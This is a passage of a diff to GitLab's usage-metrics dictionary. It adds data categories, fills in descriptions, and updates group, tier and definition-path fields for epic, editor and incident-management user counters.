Tiers: `free`, `premium`, `ultimate`
@@ -10782,6 +12726,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -10794,6 +12740,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -10806,6 +12754,8 @@ Count of MAU creating epic boards
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10818,6 +12768,8 @@ Count of WAU creating epic boards
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10830,6 +12782,8 @@ Count of MAU updating epic board names
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10842,6 +12796,8 @@ Count of WAU updating epic board names
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10854,6 +12810,8 @@ Count of MAU viewing epic boards
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10866,6 +12824,8 @@ Count of WAU viewing epic boards
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10878,6 +12838,8 @@ Total monthly users count for epics_usage
Group: `group::product planning`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10890,6 +12852,8 @@ Total weekly users count for epics_usage
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10902,6 +12866,8 @@ Counts of MAU closing epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10914,6 +12880,8 @@ Counts of WAU closing epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10926,6 +12894,8 @@ Count of MAU creating epics
Group: `group::product planning`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10938,6 +12908,8 @@ Count of WAU creating epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10950,6 +12922,8 @@ Count of MAU cross referencing epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10962,6 +12936,8 @@ Counts of WAU cross referencing epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10974,6 +12950,8 @@ Count of MAU destroying epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10986,6 +12964,8 @@ Count of WAU destroying epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10998,6 +12978,8 @@ Count of MAU adding issues to epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11010,6 +12992,8 @@ Count of WAU adding issues to epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11022,6 +13006,8 @@ Counts of MAU moving epic issues between projects
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11034,6 +13020,8 @@ Counts of WAU moving epic issues between projects
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11046,6 +13034,8 @@ Count of MAU removing issues from epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11058,6 +13048,8 @@ Counts of WAU removing issues from epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11070,6 +13062,8 @@ Counts of MAU closing epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11082,6 +13076,8 @@ Counts of WAU re-opening epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11094,6 +13090,8 @@ Count of MAU chaging the epic lables
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11106,6 +13104,8 @@ Count of WAU chaging the epic lables
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11118,6 +13118,8 @@ Count of MAU promoting issues to epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11130,6 +13132,8 @@ Counts of WAU promoting issues to epics
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11142,6 +13146,8 @@ Counts of MAU awarding emoji on epic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11154,6 +13160,8 @@ Counts of WAU awarding emoji on epic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11166,6 +13174,8 @@ Counts of MAU adding epic notes
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11178,6 +13188,8 @@ Counts of WAU adding epic notes
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11190,6 +13202,8 @@ Counts of MAU destroying epic notes
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11202,6 +13216,8 @@ Counts of WAU destroying epic notes
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11214,6 +13230,8 @@ Number of users creating an issue from an epic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`
@@ -11226,6 +13244,8 @@ Number of users creating an issue from an epic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`
@@ -11238,6 +13258,8 @@ Counts of MAU removing emoji on epic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11250,6 +13272,8 @@ Counts of WAU removing emoji on epic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11262,6 +13286,8 @@ Count of MAU making epics confidential
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11274,6 +13300,8 @@ Count of WAU making epics confidential
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11286,6 +13314,8 @@ Counts of MAU setting epic due date as inherited
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11298,6 +13328,8 @@ Counts of WAU setting epic due date as fixed
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11310,6 +13342,8 @@ Counts of MAU setting epic due date as inherited
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11322,6 +13356,8 @@ Counts of WAU setting epic due date as inherited
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11334,6 +13370,8 @@ Counts of MAU setting epic start date as fixed
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11346,6 +13384,8 @@ Counts of WAU setting epic start date as fixed
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11358,6 +13398,8 @@ Counts of MAU setting epic start date as inherited
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11370,6 +13412,8 @@ Counts of WAU setting epic start date as inherited
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11382,6 +13426,8 @@ Count of MAU making epics visible
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11394,6 +13440,8 @@ Count of WAU making epics visible
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11406,6 +13454,8 @@ Counts of MAU changing epic descriptions
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11418,6 +13468,8 @@ Counts of WAU changing epic descriptions
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11430,6 +13482,8 @@ Counts of MAU updating epic notes
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11442,6 +13496,8 @@ Counts of WAU updating epic notes
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11454,6 +13510,8 @@ Counts of MAU updating parent on epic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11466,6 +13524,8 @@ Counts of WAU updating parent on epic
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11478,6 +13538,8 @@ Counts of MAU changing epic titles
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11490,6 +13552,8 @@ Counts of WAU changing epic titles
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11502,6 +13566,8 @@ Counts of MAU manually updating fixed due date
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11514,6 +13580,8 @@ Counts of WAU manually updating fixed due date
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11526,6 +13594,8 @@ Counts of MAU manually updating fixed start date
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11538,6 +13608,8 @@ Counts of WAU manually updating fixed start date
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11550,6 +13622,8 @@ Counts of MAU checking epic task
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11562,6 +13636,8 @@ Counts of WAU checking epic task
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11574,6 +13650,8 @@ Counts of MAU unchecking epic task
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11586,6 +13664,8 @@ Counts of WAU unchecking epic task
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11598,6 +13678,8 @@ Number of users editing a file from the single file editor
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11610,6 +13692,8 @@ Weekly number of users editing from the single file editor
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11622,6 +13706,8 @@ Count of monthly edits to a snippet
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11634,6 +13720,8 @@ Weekly number of users editing Snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11646,6 +13734,8 @@ Number of user editing files using the Static Site Editor
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11658,6 +13748,8 @@ Weekly number of users editing using the Static Site Editor
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11670,6 +13762,8 @@ Number of users editing a file from the Web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11682,6 +13776,8 @@ Weekly number of users editing using the Web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11694,6 +13790,8 @@ Count of unique users per month who edited a file from the Web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11706,369 +13804,431 @@ Weekly number of users editing a file using the Web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_alert_assigned_monthly`
-Missing description
+Count of unique users assigning an alert per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180533_incident_management_alert_assigned_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_alert_assigned_weekly`
-Missing description
+Count of unique users assigning an alert per week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180532_incident_management_alert_assigned_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180532_incident_management_alert_assigned_weekly.yml)
+
+Group: `group::monitor`
-Group: `group::health`
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_alert_status_changed_monthly`
-Missing description
+Count of unique users changing alert's status changes per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180530_incident_management_alert_status_changed_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_alert_status_changed_weekly`
-Missing description
+Count of unique users changing alert's status per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180528_incident_management_alert_status_changed_weekly.yml)
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180528_incident_management_alert_status_changed_weekly.yml)
+Group: `group::monitor`
-Group: `group::health`
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_alert_todo_monthly`
-Missing description
+Count of unique users adding alerts to the TODO list per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180537_incident_management_alert_todo_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_alert_todo_weekly`
-Missing description
+Count of unique users adding alerts to the TODO list per week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180535_incident_management_alert_todo_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180535_incident_management_alert_todo_weekly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_assigned_monthly`
-Missing description
+Count of users assigning incidents per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180552_incident_management_incident_assigned_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_assigned_weekly`
-Missing description
+Count of unique users assiging incidents per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180550_incident_management_incident_assigned_weekly.yml)
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180550_incident_management_incident_assigned_weekly.yml)
+Group: `group::monitor`
-Group: `group::health`
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_change_confidential_monthly`
-Missing description
+Count of users changing incidents to confidential per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180618_incident_management_incident_change_confidential_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_change_confidential_weekly`
-Missing description
+Count of unique users changing incidents to confidential per week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180616_incident_management_incident_change_confidential_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180616_incident_management_incident_change_confidential_weekly.yml)
+
+Group: `group::monitor`
-Group: `group::health`
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_closed_monthly`
-Missing description
+Count of users closing incidents per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180548_incident_management_incident_closed_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_closed_weekly`
-Missing description
+Count of users closing incidents per week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180546_incident_management_incident_closed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180546_incident_management_incident_closed_weekly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_comment_monthly`
-Missing description
+Count of unique users adding comments per month on incidents
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180559_incident_management_incident_comment_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_comment_weekly`
-Missing description
+Count of unique users adding comments on incidents per week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180558_incident_management_incident_comment_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180558_incident_management_incident_comment_weekly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_created_monthly`
-Missing description
+Count of unique users creating incidents per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180541_incident_management_incident_created_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_created_weekly`
-Missing description
+Count of unique users creating incidents per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180539_incident_management_incident_created_weekly.yml)
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180539_incident_management_incident_created_weekly.yml)
+Group: `group::monitor`
-Group: `group::health`
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_published_monthly`
-Missing description
+Count of unique users that published incidents per month
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180607_incident_management_incident_published_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180607_incident_management_incident_published_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_published_weekly`
-Missing description
+Count of unique users that published incidents per week
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180605_incident_management_incident_published_weekly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_relate_monthly`
-Missing description
+Count of unique users adding issues per month that are related to an incident
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180611_incident_management_incident_relate_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_relate_weekly`
-Missing description
+Count of unique users adding issues per that are related to an incident week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180609_incident_management_incident_relate_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180609_incident_management_incident_relate_weekly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_reopened_monthly`
-Missing description
+Count of unique users reopening incidents per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180545_incident_management_incident_reopened_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_reopened_weekly`
-Missing description
+Count of unique users reopening incidents per week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180543_incident_management_incident_reopened_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180543_incident_management_incident_reopened_weekly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_todo_monthly`
-Missing description
+Count of unique users adding incidents to the TODO list per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180556_incident_management_incident_todo_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_todo_weekly`
-Missing description
+Count of unique users adding incidents to the TODO list per week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180554_incident_management_incident_todo_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180554_incident_management_incident_todo_weekly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_unrelate_monthly`
-Missing description
+Count of users removing issues that are related to an incident per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180614_incident_management_incident_unrelate_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_unrelate_weekly`
-Missing description
+Count of unique users removing issue that are related to an incident per week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180612_incident_management_incident_unrelate_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180612_incident_management_incident_unrelate_weekly.yml)
+
+Group: `group::monitor`
-Group: `group::health`
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_zoom_meeting_monthly`
-Missing description
+Count of users creating Zoom meetings about incidents per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180603_incident_management_incident_zoom_meeting_monthly.yml)
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180603_incident_management_incident_zoom_meeting_monthly.yml)
+Group: `group::monitor`
-Group: `group::health`
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_incident_zoom_meeting_weekly`
-Missing description
+Count of unique users creating Zoom meetings about incidents per week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180601_incident_management_incident_zoom_meeting_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180601_incident_management_incident_zoom_meeting_weekly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_total_unique_counts_monthly`
-Missing description
+Count of unique users performing events related with incidents per month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180622_incident_management_total_unique_counts_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Operational`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_total_unique_counts_weekly`
-Missing description
+Count of unique users performing events related to the incident management
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180620_incident_management_total_unique_counts_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180620_incident_management_total_unique_counts_weekly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management_alerts.incident_management_alert_create_incident_monthly`
@@ -12076,23 +14236,27 @@ Count of unique users per month to create an incident corresponding to an alert
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180625_incident_management_alert_create_incident_monthly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management_alerts.incident_management_alert_create_incident_weekly`
Count of unique users per week to create an incident corresponding to an alert
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180623_incident_management_alert_create_incident_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180623_incident_management_alert_create_incident_weekly.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management_oncall.i_incident_management_oncall_notification_sent_monthly`
@@ -12102,6 +14266,8 @@ Count of unique users to receive a notification while on-call
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12114,6 +14280,8 @@ Count of unique users to receive a notification while on-call
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12126,6 +14294,8 @@ Count of MAU adding an issue to an epic
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12138,6 +14308,8 @@ Count of WAU adding an issue to an epic
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12150,6 +14322,8 @@ Count of MAU changing issue assignees
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12162,6 +14336,8 @@ Count of WAU changing issue assignees
Group: `group::project management`
+Data Category: `Optional`
+
